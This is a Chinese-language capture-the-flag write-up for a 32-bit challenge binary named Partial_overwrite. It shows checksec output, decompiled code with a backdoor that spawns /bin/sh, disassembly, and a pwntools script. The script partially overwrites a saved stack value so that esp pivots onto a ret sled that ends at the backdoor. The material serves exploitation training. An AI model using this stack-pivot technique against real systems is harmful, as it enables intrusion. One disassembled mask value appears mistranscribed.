

✓ 题目

Partial_overwrite

✓ 分析

```
-Zer0@zer0:bin$ checksec Partial_overwrite
[*] '/home/zer0/Tools/Ctf-tools/delivery/pwn5/bin/Partial_overwrite'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char s; // [sp+8h] [bp-30h]@1
4
5     write(1, "Welcome to Partial_overwrite\n", 0x1Du);
6     fgets(&s, 45, stdin);
7     return 0;
8 }
```

```
IDA View-A x Pseudocode-A x
```

```
1 int backdoor()
2 {
3     return system("/bin/sh");
4 }
```

```
080484b3 <main>:
80484b3: 8d 4c 24 04      lea   ecx, [esp+0x4]
80484b7: 83 e4 f0        and   esp, 0xffffffff
80484ba: ff 71 fc        push  DWORD PTR [ecx-0x4]
80484bd: 55             push  ebp
80484be: 89 e5          mov   ebp, esp
80484c0: 51             push  ecx
80484c1: 83 ec 34       sub   esp, 0x34
80484c4: 83 ec 04       sub   esp, 0x4
80484c7: 6a 1d         push  0x1d
80484c9: 68 88 85 04 08 push  0x8048588
80484ce: 6a 01         push  0x1
80484d0: e8 ab fe ff ff call  8048380 <write@plt>
80484d5: 83 c4 10       add   esp, 0x10
80484d8: a1 40 a0 04 08 mov   eax, ds:0x804a040
80484dd: 83 ec 04       sub   esp, 0x4
80484e0: 50             push  eax
80484e1: 6a 2d         push  0x2d
80484e3: 8d 45 d0       lea   eax, [ebp-0x30]
80484e6: 50             push  eax
80484e7: e8 64 fe ff ff call  8048350 <fgets@plt>
80484ec: 83 c4 10       add   esp, 0x10
80484ef: b8 00 00 00 00 mov   eax, 0x0
80484f4: 8b 4d fc       mov   ecx, DWORD PTR [ebp-0x4]
80484f7: c9             leave
80484f8: 8d 61 fc       lea   esp, [ecx-0x4]
80484fb: c3             ret
```

✓ 漏洞点

通过分析，我们知道该程序存在后门但不存在栈溢出，不过 fgets 读入可以覆盖 ebp-0x4 内存的最低位，并且该值赋值给了 esp，可以通过低位写的方式劫持 esp 到栈上，同时我们需要再栈上布置好我们的 ROP，具体见 exp

✓ exp

```
1  #! /usr/bin/python3
2  from pwn import *
3  #context.log_level = 'debug'
4
5  ret_addr = 0x0804831a #0x0804833a
6  system_addr = 0x0804849b #0x080484cb
7
8  r = process('./Partial_overwrite')
9  r.recvuntil("Partial_overwrite\n")
10
11 #gdb.attach(r)
12 shellcode = flat(
13     [ret_addr]*10,
14     system_addr )
15
16 r.send(shellcode)
17 r.interactive()
```

